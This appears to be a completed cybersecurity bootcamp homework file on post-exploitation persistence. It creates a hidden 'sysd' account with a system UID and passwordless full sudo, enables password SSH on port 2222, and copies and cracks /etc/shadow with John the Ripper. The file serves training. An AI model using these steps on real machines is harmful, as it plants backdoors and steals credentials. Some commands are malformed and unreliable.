**Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow Peopled**

1. Create a secret user named sysd . Make sure this user doesn't have a home folder created:

Your solution command here: **useradd –no-create-home sysd**

2. Give your secret user a password:

Your solution command here: **passwd sysd**

3. Give your secret user a system UID < 1000:

Your solution command here: ﻿﻿**usermod -u 301 sysd**

4. Give your secret user the same GID:

Your solution command here: ﻿**groupmod -g 301 sysd**

5. Give your secret user full sudo access without the need for a password:

Your solution command here: **sudo** **visudo ﻿sysd ALL=(ALL:ALL) NOPASSWD:ALL**

6. Test that sudo access works without your password:

Your bash commands here: **su sysd**

**sudo -l**

**sudo -V**

﻿**User sysd may run the following commands on scavenger-hunt:**

**(ALL : ALL) NOPASSWD: ALL**

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

Your bash commands here: ﻿**nano /etc/ssh/sshd\_config**

**Port 2222**

**PasswordAuthentication yes**

**Step 3: Testing Your Configuration Update 1.**

Restart the SSH service: - Your solution command here: ﻿**sudo systemctl restart ssh**

2. Exit the root account:

Your solution command here: **Ctrl+D**

3. SSH to the target machine using your sysd account and port 2222 :

Your solution command here: **ssh sysd@192.168.6.105 -p 2222**

4. Use sudo to switch to the root user:

Your solution command here: **sudo su root**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222 :

Your solution command here: **su sysd**

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

Your solution command here**: sudo cp /etc/shadow shadow\_copy**

**john /etc/shadow**

**exit**

**exit**

© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.